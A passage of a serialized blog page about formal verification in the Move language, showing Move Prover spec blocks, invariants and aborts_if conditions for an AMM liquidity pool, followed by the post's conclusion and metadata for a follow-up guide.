add_liquidity",{"type":23,"tag":141,"props":6766,"children":6767},{"style":154},[6768],{"type":29,"value":192},{"type":23,"tag":141,"props":6770,"children":6771},{"style":750},[6772],{"type":29,"value":6675},{"type":23,"tag":141,"props":6774,"children":6775},{"style":154},[6776],{"type":29,"value":480},{"type":23,"tag":141,"props":6778,"children":6779},{"style":750},[6780],{"type":29,"value":6692},{"type":23,"tag":141,"props":6782,"children":6783},{"style":154},[6784],{"type":29,"value":2496},{"type":23,"tag":141,"props":6786,"children":6787},{"class":143,"line":218},[6788,6793,6797,6802],{"type":23,"tag":141,"props":6789,"children":6790},{"style":184},[6791],{"type":29,"value":6792}," remove_liquidity",{"type":23,"tag":141,"props":6794,"children":6795},{"style":154},[6796],{"type":29,"value":192},{"type":23,"tag":141,"props":6798,"children":6799},{"style":750},[6800],{"type":29,"value":6801},"share",{"type":23,"tag":141,"props":6803,"children":6804},{"style":154},[6805],{"type":29,"value":758},{"type":23,"tag":141,"props":6807,"children":6808},{"class":143,"line":227},[6809],{"type":23,"tag":141,"props":6810,"children":6811},{"style":154},[6812],{"type":29,"value":854},{"type":23,"tag":141,"props":6814,"children":6815},{"class":143,"line":241},[6816,6821,6825],{"type":23,"tag":141,"props":6817,"children":6818},{"style":750},[6819],{"type":29,"value":6820}," spec",{"type":23,"tag":141,"props":6822,"children":6823},{"style":750},[6824],{"type":29,"value":6666},{"type":23,"tag":141,"props":6826,"children":6827},{"style":154},[6828],{"type":29,"value":1951},{"type":23,"tag":141,"props":6830,"children":6831},{"class":143,"line":262},[6832,6837,6842,6846,6851],{"type":23,"tag":141,"props":6833,"children":6834},{"style":750},[6835],{"type":29,"value":6836}," pragma",{"type":23,"tag":141,"props":6838,"children":6839},{"style":750},[6840],{"type":29,"value":6841}," verify",{"type":23,"tag":141,"props":6843,"children":6844},{"style":160},[6845],{"type":29,"value":1377},{"type":23,"tag":141,"props":6847,"children":6848},{"style":449},[6849],{"type":29,"value":6850},"false",{"type":23,"tag":141,"props":6852,"children":6853},{"style":154},[6854],{"type":29,"value":1684},{"type":23,"tag":141,"props":6856,"children":6857},{"class":143,"line":271},[6858,6863,6868,6873,6878],{"type":23,"tag":141,"props":6859,"children":6860},{"style":750},[6861],{"type":29,"value":6862}," ensures",{"type":23,"tag":141,"props":6864,"children":6865},{"style":750},[6866],{"type":29,"value":6867}," result_1",{"type":23,"tag":141,"props":6869,"children":6870},{"style":160},[6871],{"type":29,"value":6872}," \u003C=",{"type":23,"tag":141,"props":6874,"children":6875},{"style":750},[6876],{"type":29,"value":6877}," coin1_in",{"type":23,"tag":141,"props":6879,"children":6880},{"style":154},[6881],{"type":29,"value":1684},{"type":23,"tag":141,"props":6883,"children":6884},{"class":143,"line":293},[6885,6889,6894,6898,6903],{"type":23,"tag":141,"props":6886,"children":6887},{"style":750},[6888],{"type":29,"value":6862},{"type":23,"tag":141,"props":6890,"children":6891},{"style":750},[6892],{"type":29,"value":6893}," result_2",{"type":23,"tag":141,"props":6895,"children":6896},{"style":160},[6897],{"type":29,"value":6872},{"type":23,"tag":141,"props":6899,"children":6900},{"style":750},[6901],{"type":29,"value":6902}," coin2_in",{"type":23,"tag":141,"props":6904,"children":6905},{"style":154},[6906],{"type":29,"value":1684},{"type":23,"tag":141,"props":6908,"children":6909},{"class":143,"line":801},[6910],{"type":23,"tag":141,"props":6911,"children":6912},{"style":154},[6913],{"type":29,"value":854},{"type":23,"tag":32,"props":6915,"children":6916},{},[6917],{"type":29,"value":6918},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":32,"props":6920,"children":6921},{},[6922,6924,6929],{"type":29,"value":6923},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":47,"props":6925,"children":6926},{},[6927],{"type":29,"value":6928},"lot",{"type":29,"value":6930}," easier to reason about the protocol.",{"type":23,"tag":32,"props":6932,"children":6933},{},[6934],{"type":29,"value":6935},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":131,"props":6937,"children":6939},{"className":1639,"code":6938,"language":1638,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[6940],{"type":23,"tag":38,"props":6941,"children":6942},{"__ignoreMap":7},[6943,6960,6983],{"type":23,"tag":141,"props":6944,"children":6945},{"class":143,"line":144},[6946,6951,6956],{"type":23,"tag":141,"props":6947,"children":6948},{"style":750},[6949],{"type":29,"value":6950},"spec",{"type":23,"tag":141,"props":6952,"children":6953},{"style":725},[6954],{"type":29,"value":6955}," PoolState",{"type":23,"tag":141,"props":6957,"children":6958},{"style":154},[6959],{"type":29,"value":1951},{"type":23,"tag":141,"props":6961,"children":6962},{"class":143,"line":180},[6963,6968,6973,6978],{"type":23,"tag":141,"props":6964,"children":6965},{"style":750},[6966],{"type":29,"value":6967}," invariant",{"type":23,"tag":141,"props":6969,"children":6970},{"style":750},[6971],{"type":29,"value":6972}," supply",{"type":23,"tag":141,"props":6974,"children":6975},{"style":160},[6976],{"type":29,"value":6977}," >=",{"type":23,"tag":141,"props":6979,"children":6980},{"style":154},[6981],{"type":29,"value":6982}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":141,"props":6984,"children":6985},{"class":143,"line":205},[6986],{"type":23,"tag":141,"props":6987,"children":6988},{"style":154},[6989],{"type":29,"value":2573},{"type":23,"tag":32,"props":6991,"children":6992},{},[6993,6995,7001,7003,7009],{"type":29,"value":6994},"Another useful pattern for the Move prover is ",{"type":23,"tag":38,"props":6996,"children":6998},{"className":6997},[],[6999],{"type":29,"value":7000},"aborts_if",{"type":29,"value":7002},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":38,"props":7004,"children":7006},{"className":7005},[],[7007],{"type":29,"value":7008},"aborts_if false",{"type":29,"value":322},{"type":23,"tag":32,"props":7011,"children":7012},{},[7013],{"type":29,"value":7014},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":131,"props":7016,"children":7018},{"className":1639,"code":7017,"language":1638,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[7019],{"type":23,"tag":38,"props":7020,"children":7021},{"__ignoreMap":7},[7022,7086,7128,7151,7196,7209,7221,7260,7283,7371,7379,7404,7412,7433,7453,7553,7561,7590,7598,7610,7634,7669,7676,7684,7691,7706,7722,7740,7785,7891],{"type":23,"tag":141,"props":7023,"children":7024},{"class":143,"line":144},[7025,7029,7034,7038,7043,7047,7052,7056,7060,7065,7069,7073,7077,7082],{"type":23,"tag":141,"props":7026,"children":7027},{"style":750},[7028],{"type":29,"value":5243},{"type":23,"tag":141,"props":7030,"children":7031},{"style":184},[7032],{"type":29,"value":7033}," multiply_vec_by_n_coins",{"type":23,"tag":141,"props":7035,"children":7036},{"style":154},[7037],{"type":29,"value":192},{"type":23,"tag":141,"props":7039,"children":7040},{"style":750},[7041],{"type":29,"value":7042},"input",{"type":23,"tag":141,"props":7044,"children":7045},{"style":160},[7046],{"type":29,"value":114},{"type":23,"tag":141,"props":7048,"children":7049},{"style":750},[7050],{"type":29,"value":7051}," vector",{"type":23,"tag":141,"props":7053,"children":7054},{"style":154},[7055],{"type":29,"value":4480},{"type":23,"tag":141,"props":7057,"children":7058},{"style":725},[7059],{"type":29,"value":6717},{"type":23,"tag":141,"props":7061,"children":7062},{"style":154},[7063],{"type":29,"value":7064},">)",{"type":23,"tag":141,"props":7066,"children":7067},{"style":160},[7068],{"type":29,"value":114},{"type":23,"tag":141,"props":7070,"children":7071},{"style":750},[7072],{"type":29,"value":7051},{"type":23,"tag":141,"props":7074,"children":7075},{"style":154},[7076],{"type":29,"value":4480},{"type":23,"tag":141,"props":7078,"children":7079},{"style":725},[7080],{"type":29,"value":7081},"u128",{"type":23,"tag":141,"props":7083,"children":7084},{"style":154},[7085],{"type":29,"value":5955},{"type":23,"tag":141,"props":7087,"children":7088},{"class":143,"line":180},[7089,7093,7098,7102,7106,7110,7115,7119,7123],{"type":23,"tag":141,"props":7090,"children":7091},{"style":449},[7092],{"type":29,"value":6750},{"type":23,"tag":141,"props":7094,"children":7095},{"style":750},[7096],{"type":29,"value":7097}," amounts_times_coins",{"type":23,"tag":141,"props":7099,"children":7100},{"style":160},[7101],{"type":29,"value":1674},{"type":23,"tag":141,"props":7103,"children":7104},{"style":154},[7105],{"type":29,"value":7051},{"type":23,"tag":141,"props":7107,"children":7108},{"style":160},[7109],{"type":29,"value":2141},{"type":23,"tag":141,"props":7111,"children":7112},{"style":750},[7113],{"type":29,"value":7114},"empty",{"type":23,"tag":141,"props":7116,"children":7117},{"style":154},[7118],{"type":29,"value":4480},{"type":23,"tag":141,"props":7120,"children":7121},{"style":725},[7122],{"type":29,"value":7081},{"type":23,"tag":141,"props":7124,"children":7125},{"style":154},[7126],{"type":29,"value":7127},">();\n",{"type":23,"tag":141,"props":7129,"children":7130},{"class":143,"line":205},[7131,7135,7139,7143,7147],{"type":23,"tag":141,"props":7132,"children":7133},{"style":449},[7134],{"type":29,"value":6750},{"type":23,"tag":141,"props":7136,"children":7137},{"style":750},[7138],{"type":29,"value":2058},{"type":23,"tag":141,"props":7140,"children":7141},{"style":160},[7142],{"type":29,"value":1674},{"type":23,"tag":141,"props":7144,"children":7145},{"style":472},[7146],{"type":29,"value":1707},{"type":23,"tag":141,"props":7148,"children":7149},{"style":154},[7150],{"type":29,"value":1684},{"type":23,"tag":141,"props":7152,"children":7153},{"class":143,"line":218},[7154,7158,7163,7167,7171,7175,7180,7184,7188,7192],{"type":23,"tag":141,"props":7155,"children":7156},{"style":449},[7157],{"type":29,"value":6750},{"type":23,"tag":141,"props":7159,"children":7160},{"style":750},[7161],{"type":29,"value":7162}," n_coins",{"type":23,"tag":141,"props":7164,"children":7165},{"style":160},[7166],{"type":29,"value":1674},{"type":23,"tag":141,"props":7168,"children":7169},{"style":154},[7170],{"type":29,"value":7051},{"type":23,"tag":141,"props":7172,"children":7173},{"style":160},[7174],{"type":29,"value":2141},{"type":23,"tag":141,"props":7176,"children":7177},{"style":184},[7178],{"type":29,"value":7179},"length",{"type":23,"tag":141,"props":7181,"children":7182},{"style":154},[7183],{"type":29,"value":192},{"type":23,"tag":141,"props":7185,"children":7186},{"style":160},[7187],{"type":29,"value":1770},{"type":23,"tag":141,"props":7189,"children":7190},{"style":750},[7191],{"type":29,"value":7042},{"type":23,"tag":141,"props":7193,"children":7194},{"style":154},[7195],{"type":29,"value":2496},{"type":23,"tag":141,"props":7197,"children":7198},{"class":143,"line":227},[7199,7204],{"type":23,"tag":141,"props":7200,"children":7201},{"style":148},[7202],{"type":29,"value":7203}," while",{"type":23,"tag":141,"props":7205,"children":7206},{"style":154},[7207],{"type":29,"value":7208}," ({\n",{"type":23,"tag":141,"props":7210,"children":7211},{"class":143,"line":241},[7212,7217],{"type":23,"tag":141,"props":7213,"children":7214},{"style":750},[7215],{"type":29,"value":7216}," spec",{"type":23,"tag":141,"props":7218,"children":7219},{"style":154},[7220],{"type":29,"value":1951},{"type":23,"tag":141,"props":7222,"children":7223},{"class":143,"line":262},[7224,7229,7234,7238,7243,7247,7252,7256],{"type":23,"tag":141,"props":7225,"children":7226},{"style":750},[7227],{"type":29,"value":7228}," invariant",{"type":23,"tag":141,"props":7230,"children":7231},{"style":184},[7232],{"type":29,"value":7233}," len",{"type":23,"tag":141,"props":7235,"children":7236},{"style":154},[7237],{"type":29,"value":192},{"type":23,"tag":141,"props":7239,"children":7240},{"style":750},[7241],{"type":29,"value":7242},"amounts_times_coins",{"type":23,"tag":141,"props":7244,"children":7245},{"style":154},[7246],{"type":29,"value":1748},{"type":23,"tag":141,"props":7248,"children":7249},{"style":160},[7250],{"type":29,"value":7251},"==",{"type":23,"tag":141,"props":7253,"children":7254},{"style":750},[7255],{"type":29,"value":2058},{"type":23,"tag":141,"props":7257,"children":7258},{"style":154},[7259],{"type":29,"value":1684},{"type":23,"tag":141,"props":7261,"children":7262},{"class":143,"line":271},[7263,7267,7271,7275,7279],{"type":23,"tag":141,"props":7264,"children":7265},{"style":750},[7266],{"type":29,"value":7228},{"type":23,"tag":141,"props":7268,"children":7269},{"style":750},[7270],{"type":29,"value":2058},{"type":23,"tag":141,"props":7272,"children":7273},{"style":160},[7274],{"type":29,"value":6872},{"type":23,"tag":141,"props":7276,"children":7277},{"style":750},[7278],{"type":29,"value":7162},{"type":23,"tag":141,"props":7280,"children":7281},{"style":154},[7282],{"type":29,"value":1684},{"type":23,"tag":141,"props":7284,"children":7285},{"class":143,"line":293},[7286,7290,7295,7300,7304,7308,7312,7316,7320,7324,7328,7333,7338,7342,7347,7351,7355,7359,7363,7367],{"type":23,"tag":141,"props":7287,"children":7288},{"style":750},[7289],{"type":29,"value":7228},{"type":23,"tag":141,"props":7291,"children":7292},{"style":750},[7293],{"type":29,"value":7294}," forall",{"type":23,"tag":141,"props":7296,"children":7297},{"style":750},[7298],{"type":29,"value":7299}," j",{"type":23,"tag":141,"props":7301,"children":7302},{"style":449},[7303],{"type":29,"value":1702},{"type":23,"tag":141,"props":7305,"children":7306},{"style":472},[7307],{"type":29,"value":1707},{"type":23,"tag":141,"props":7309,"children":7310},{"style":160},[7311],{"type":29,"value":1712},{"type":23,"tag":141,"props":7313,"children":7314},{"style":750},[7315],{"type":29,"value":2404},{"type":23,"tag":141,"props":7317,"children":7318},{"style":160},[7319],{"type":29,"value":114},{"type":23,"tag":141,"props":7321,"children":7322},{"style":750},[7323],{"type":29,"value":7097},{"type":23,"tag":141,"props":7325,"children":7326},{"style":154},[7327],{"type":29,"value":2399},{"type":23,"tag":141,"props":7329,"children":7330},{"style":750},[7331],{"type":29,"value":7332},"j",{"type":23,"tag":141,"props":7334,"children":7335},{"style":154},[7336],{"type":29,"value":7337},"] ",{"type":23,"tag":141,"props":7339,"children":7340},{"style":160},[7341],{"type":29,"value":7251},{"type":23,"tag":141,"props":7343,"children":7344},{"style":750},[7345],{"type":29,"value":7346}," input",{"type":23,"tag":141,"props":7348,"children":7349},{"style":154},[7350],{"type":29,"value":2399},{"type":23,"tag":141,"props":7352,"children":7353},{"style":750},[7354],{"type":29,"value":7332},{"type":23,"tag":141,"props":7356,"children":7357},{"style":154},[7358],{"type":29,"value":7337},{"type":23,"tag":141,"props":7360,"children":7361},{"style":160},[7362],{"type":29,"value":197},{"type":23,"tag":141,"props":7364,"children":7365},{"style":750},[7366],{"type":29,"value":7162},{"type":23,"tag":141,"props":7368,"children":7369},{"style":154},[7370],{"type":29,"value":1684},{"type":23,"tag":141,"props":7372,"children":7373},{"class":143,"line":801},[7374],{"type":23,"tag":141,"props":7375,"children":7376},{"style":154},[7377],{"type":29,"value":7378}," };\n",{"type":23,"tag":141,"props":7380,"children":7381},{"class":143,"line":810},[7382,7387,7391,7396,7400],{"type":23,"tag":141,"props":7383,"children":7384},{"style":154},[7385],{"type":29,"value":7386}," (",{"type":23,"tag":141,"props":7388,"children":7389},{"style":750},[7390],{"type":29,"value":2404},{"type":23,"tag":141,"props":7392,"children":7393},{"style":160},[7394],{"type":29,"value":7395}," \u003C",{"type":23,"tag":141,"props":7397,"children":7398},{"style":750},[7399],{"type":29,"value":7162},{"type":23,"tag":141,"props":7401,"children":7402},{"style":154},[7403],{"type":29,"value":758},{"type":23,"tag":141,"props":7405,"children":7406},{"class":143,"line":824},[7407],{"type":23,"tag":141,"props":7408,"children":7409},{"style":154},[7410],{"type":29,"value":7411}," }) {\n",{"type":23,"tag":141,"props":7413,"children":7414},{"class":143,"line":839},[7415,7420,7424,7429],{"type":23,"tag":141,"props":7416,"children":7417},{"style":154},[7418],{"type":29,"value":7419}," vector",{"type":23,"tag":141,"props":7421,"children":7422},{"style":160},[7423],{"type":29,"value":2141},{"type":23,"tag":141,"props":7425,"children":7426},{"style":184},[7427],{"type":29,"value":7428},"push_back",{"type":23,"tag":141,"props":7430,"children":7431},{"style":154},[7432],{"type":29,"value":2123},{"type":23,"tag":141,"props":7434,"children":7435},{"class":143,"line":848},[7436,7441,7445,7449],{"type":23,"tag":141,"props":7437,"children":7438},{"style":160},[7439],{"type":29,"value":7440}," &",{"type":23,"tag":141,"props":7442,"children":7443},{"style":449},[7444],{"type":29,"value":2389},{"type":23,"tag":141,"props":7446,"children":7447},{"style":750},[7448],{"type":29,"value":7097},{"type":23,"tag":141,"props":7450,"children":7451},{"style":154},[7452],{"type":29,"value":2168},{"type":23,"tag":141,"props":7454,"children":7455},{"class":143,"line":2304},[7456,7461,7465,7470,7474,7479,7483,7487,7491,7496,7500,7505,7509,7514,7519,7524,7528,7532,7536,7541,7545,7549],{"type":23,"tag":141,"props":7457,"children":7458},{"style":154},[7459],{"type":29,"value":7460}," (",{"type":23,"tag":141,"props":7462,"children":7463},{"style":160},[7464],{"type":29,"value":197},{"type":23,"tag":141,"props":7466,"children":7467},{"style":154},[7468],{"type":29,"value":7469},"vector",{"type":23,"tag":141,"props":7471,"children":7472},{"style":160},[7473],{"type":29,"value":2141},{"type":23,"tag":141,"props":7475,"children":7476},{"style":184},[7477],{"type":29,"value":7478},"borrow",{"type":23,"tag":141,"props":7480,"children":7481},{"style":154},[7482],{"type":29,"value":192},{"type":23,"tag":141,"props":7484,"children":7485},{"style":160},[7486],{"type":29,"value":1770},{"type":23,"tag":141,"props":7488,"children":7489},{"style":750},[7490],{"type":29,"value":7042},{"type":23,"tag":141,"props":7492,"children":7493},{"style":154},[7494],{"type":29,"value":7495},", (",{"type":23,"tag":141,"props":7497,"children":7498},{"style":750},[7499],{"type":29,"value":2404},{"type":23,"tag":141,"props":7501,"children":7502},{"style":449},[7503],{"type":29,"value":7504}," as",{"type":23,"tag":141,"props":7506,"children":7507},{"style":725},[7508],{"type":29,"value":4534},{"type":23,"tag":141,"props":7510,"children":7511},{"style":154},[7512],{"type":29,"value":7513},")) ",{"type":23,"tag":141,"props":7515,"children":7516},{"style":449},[7517],{"type":29,"value":7518},"as",{"type":23,"tag":141,"props":7520,"children":7521},{"style":725},[7522],{"type":29,"value":7523}," u128",{"type":23,"tag":141,"props":7525,"children":7526},{"style":154},[7527],{"type":29,"value":1748},{"type":23,"tag":141,"props":7529,"children":7530},{"style":160},[7531],{"type":29,"value":197},{"type":23,"tag":141,"props":7533,"children":7534},{"style":154},[7535],{"type":29,"value":1220},{"type":23,"tag":141,"props":7537,"children":7538},{"style":750},[7539],{"type":29,"value":7540},"n_coins",{"type":23,"tag":141,"props":7542,"children":7543},{"style":449},[7544],{"type":29,"value":7504},{"type":23,"tag":141,"props":7546,"children":7547},{"style":725},[7548],{"type":29,"value":7523},{"type":23,"tag":141,"props":7550,"children":7551},{"style":154},[7552],{"type":29,"value":758},{"type":23,"tag":141,"props":7554,"children":7555},{"class":143,"line":2313},[7556],{"type":23,"tag":141,"props":7557,"children":7558},{"style":154},[7559],{"type":29,"value":7560}," );\n",{"type":23,"tag":141,"props":7562,"children":7563},{"class":143,"line":2335},[7564,7569,7573,7577,7582,7586],{"type":23,"tag":141,"props":7565,"children":7566},{"style":750},[7567],{"type":29,"value":7568}," i",{"type":23,"tag":141,"props":7570,"children":7571},{"style":160},[7572],{"type":29,"value":1674},{"type":23,"tag":141,"props":7574,"children":7575},{"style":750},[7576],{"type":29,"value":2058},{"type":23,"tag":141,"props":7578,"children":7579},{"style":160},[7580],{"type":29,"value":7581}," +",{"type":23,"tag":141,"props":7583,"children":7584},{"style":472},[7585],{"type":29,"value":3198},{"type":23,"tag":141,"props":7587,"children":7588},{"style":154},[7589],{"type":29,"value":1684},{"type":23,"tag":141,"props":7591,"children":7592},{"class":143,"line":2343},[7593],{"type":23,"tag":141,"props":7594,"children":7595},{"style":154},[7596],{"type":29,"value":7597}," };\n",{"type":23,"tag":141,"props":7599,"children":7600},{"class":143,"line":2352},[7601,7606],{"type":23,"tag":141,"props":7602,"children":7603},{"style":750},[7604],{"type":29,"value":7605}," spec",{"type":23,"tag":141,"props":7607,"children":7608},{"style":154},[7609],{"type":29,"value":1951},{"type":23,"tag":141,"props":7611,"children":7612},{"class":143,"line":2421},[7613,7618,7622,7626,7630],{"type":23,"tag":141,"props":7614,"children":7615},{"style":750},[7616],{"type":29,"value":7617}," assert",{"type":23,"tag":141,"props":7619,"children":7620},{"style":750},[7621],{"type":29,"value":2058},{"type":23,"tag":141,"props":7623,"children":7624},{"style":160},[7625],{"type":29,"value":1942},{"type":23,"tag":141,"props":7627,"children":7628},{"style":750},[7629],{"type":29,"value":7162},{"type":23,"tag":141,"props":7631,"children":7632},{"style":154},[7633],{"type":29,"value":1684},{"type":23,"tag":141,"props":7635,"children":7636},{"class":143,"line":2429},[7637,7641,7645,7649,7653,7657,7661,7665],{"type":23,"tag":141,"props":7638,"children":7639},{"style":750},[7640],{"type":29,"value":7617},{"type":23,"tag":141,"props":7642,"children":7643},{"style":184},[7644],{"type":29,"value":7233},{"type":23,"tag":141,"props":7646,"children":7647},{"style":154},[7648],{"type":29,"value":192},{"type":23,"tag":141,"props":7650,"children":7651},{"style":750},[7652],{"type":29,"value":7042},{"type":23,"tag":141,"props":7654,"children":7655},{"style":154},[7656],{"type":29,"value":1748},{"type":23,"tag":141,"props":7658,"children":7659},{"style":160},[7660],{"type":29,"value":7251},{"type":23,"tag":141,"props":7662,"children":7663},{"style":750},[7664],{"type":29,"value":7162},{"type":23,"tag":141,"props":7666,"children":7667},{"style":154},[7668],{"type":29,"value":1684},{"type":23,"tag":141,"props":7670,"children":7671},{"class":143,"line":2459},[7672],{"type":23,"tag":141,"props":7673,"children":7674},{"style":154},[7675],{"type":29,"value":7597},{"type":23,"tag":141,"props":7677,"children":7678},{"class":143,"line":2467},[7679],{"type":23,"tag":141,"props":7680,"children":7681},{"style":750},[7682],{"type":29,"value":7683}," amounts_times_coins\n",{"type":23,"tag":141,"props":7685,"children":7686},{"class":143,"line":2499},[7687],{"type":23,"tag":141,"props":7688,"children":7689},{"style":154},[7690],{"type":29,"value":854},{"type":23,"tag":141,"props":7692,"children":7693},{"class":143,"line":2507},[7694,7698,7702],{"type":23,"tag":141,"props":7695,"children":7696},{"style":750},[7697],{"type":29,"value":6820},{"type":23,"tag":141,"props":7699,"children":7700},{"style":750},[7701],{"type":29,"value":7033},{"type":23,"tag":141,"props":7703,"children":7704},{"style":154},[7705],{"type":29,"value":1951},{"type":23,"tag":141,"props":7707,"children":7708},{"class":143,"line":2567},[7709,7713,7718],{"type":23,"tag":141,"props":7710,"children":7711},{"style":750},[7712],{"type":29,"value":6836},{"type":23,"tag":141,"props":7714,"children":7715},{"style":750},[7716],{"type":29,"value":7717}," opaque",{"type":23,"tag":141,"props":7719,"children":7720},{"style":154},[7721],{"type":29,"value":1684},{"type":23,"tag":141,"props":7723,"children":7725},{"class":143,"line":7724},27,[7726,7731,7736],{"type":23,"tag":141,"props":7727,"children":7728},{"style":750},[7729],{"type":29,"value":7730}," aborts_if",{"type":23,"tag":141,"props":7732,"children":7733},{"style":449},[7734],{"type":29,"value":7735}," false",{"type":23,"tag":141,"props":7737,"children":7738},{"style":154},[7739],{"type":29,"value":1684},{"type":23,"tag":141,"props":7741,"children":7743},{"class":143,"line":7742},28,[7744,7748,7752,7756,7761,7765,7769,7773,7777,7781],{"type":23,"tag":141,"props":7745,"children":7746},{"style":750},[7747],{"type":29,"value":6862},{"type":23,"tag":141,"props":7749,"children":7750},{"style":184},[7751],{"type":29,"value":7233},{"type":23,"tag":141,"props":7753,"children":7754},{"style":154},[7755],{"type":29,"value":192},{"type":23,"tag":141,"props":7757,"children":7758},{"style":750},[7759],{"type":29,"value":7760},"result",{"type":23,"tag":141,"props":7762,"children":7763},{"style":154},[7764],{"type":29,"value":1748},{"type":23,"tag":141,"props":7766,"children":7767},{"style":160},[7768],{"type":29,"value":7251},{"type":23,"tag":141,"props":7770,"children":7771},{"style":184},[7772],{"type":29,"value":7233},{"type":23,"tag":141,"props":7774,"children":7775},{"style":154},[7776],{"type":29,"value":192},{"type":23,"tag":141,"props":7778,"children":7779},{"style":750},[7780],{"type":29,"value":7042},{"type":23,"tag":141,"props":7782,"children":7783},{"style":154},[7784],{"type":29,"value":2496},{"type":23,"tag":141,"props":7786,"children":7788},{"class":143,"line":7787},29,[7789,7793,7797,7801,7805,7809,7813,7818,7822,7826,7830,7834,7839,7843,7847,7851,7855,7859,7863,7867,7871,7875,7879,7883,7887],{"type":23,"tag":141,"props":7790,"children":7791},{"style":750},[7792],{"type":29,"value":6862},{"type":23,"tag":141,"props":7794,"children":7795},{"style":750},[7796],{"type":29,"value":7294},{"type":23,"tag":141,"props":7798,"children":7799},{"style":750},[7800],{"type":29,"value":7299},{"type":23,"tag":141,"props":7802,"children":7803},{"style":449},[7804],{"type":29,"value":1702},{"type":23,"tag":141,"props":7806,"children":7807},{"style":472},[7808],{"type":29,"value":1707},{"type":23,"tag":141,"props":7810,"children":7811},{"style":160},[7812],{"type":29,"value":1712},{"type":23,"tag":141,"props":7814,"children":7815},{"style":184},[7816],{"type":29,"value":7817},"len",{"type":23,"tag":141,"props":7819,"children":7820},{"style":154},[7821],{"type":29,"value":192},{"type":23,"tag":141,"props":7823,"children":7824},{"style":750},[7825],{"type":29,"value":7042},{"type":23,"tag":141,"props":7827,"children":7828},{"style":154},[7829],{"type":29,"value":1788},{"type":23,"tag":141,"props":7831,"children":7832},{"style":160},[7833],{"type":29,"value":114},{"type":23,"tag":141,"props":7835,"children":7836},{"style":750},[7837],{"type":29,"value":7838}," result",{"type":23,"tag":141,"props":7840,"children":7841},{"style":154},[7842],{"type":29,"value":2399},{"type":23,"tag":141,"props":7844,"children":7845},{"style":750},[7846],{"type":29,"value":7332},{"type":23,"tag":141,"props":7848,"children":7849},{"style":154},[7850],{"type":29,"value":7337},{"type":23,"tag":141,"props":7852,"children":7853},{"style":160},[7854],{"type":29,"value":7251},{"type":23,"tag":141,"props":7856,"children":7857},{"style":750},[7858],{"type":29,"value":7346},{"type":23,"tag":141,"props":7860,"children":7861},{"style":154},[7862],{"type":29,"value":2399},{"type":23,"tag":141,"props":7864,"children":7865},{"style":750},[7866],{"type":29,"value":7332},{"type":23,"tag":141,"props":7868,"children":7869},{"style":154},[7870],{"type":29,"value":7337},{"type":23,"tag":141,"props":7872,"children":7873},{"style":160},[7874],{"type":29,"value":197},{"type":23,"tag":141,"props":7876,"children":7877},{"style":184},[7878],{"type":29,"value":7233},{"type":23,"tag":141,"props":7880,"children":7881},{"style":154},[7882],{"type":29,"value":192},{"type":23,"tag":141,"props":7884,"children":7885},{"style":750},[7886],{"type":29,"value":7042},{"type":23,"tag":141,"props":7888,"children":7889},{"style":154},[7890],{"type":29,"value":2496},{"type":23,"tag":141,"props":7892,"children":7894},{"class":143,"line":7893},30,[7895],{"type":23,"tag":141,"props":7896,"children":7897},{"style":154},[7898],{"type":29,"value":854},{"type":23,"tag":24,"props":7900,"children":7901},{"id":1420},[7902],{"type":29,"value":1423},{"type":23,"tag":32,"props":7904,"children":7905},{},[7906],{"type":29,"value":7907},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":32,"props":7909,"children":7910},{},[7911],{"type":29,"value":7912},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":32,"props":7914,"children":7915},{},[7916,7918,7925],{"type":29,"value":7917},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":55,"props":7919,"children":7922},{"href":7920,"rel":7921},"https://twitter.com/notdeghost/",[59],[7923],{"type":29,"value":7924},"@notdeghost",{"type":29,"value":322},{"type":23,"tag":1508,"props":7927,"children":7928},{},[7929],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":7931},[7932,7933,7934],{"id":4432,"depth":180,"text":4435},{"id":6471,"depth":180,"text":6474},{"id":1420,"depth":180,"text":1423},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":7939,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7940,"description":7941,"author":10,"image":7942,"date":7945,"isFeatured":15,"tags":7946,"onBlogPage":15,"body":7949,"_type":1522,"_id":12291,"_source":1524,"_file":12292,"_stem":12293,"_extension":1527},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and 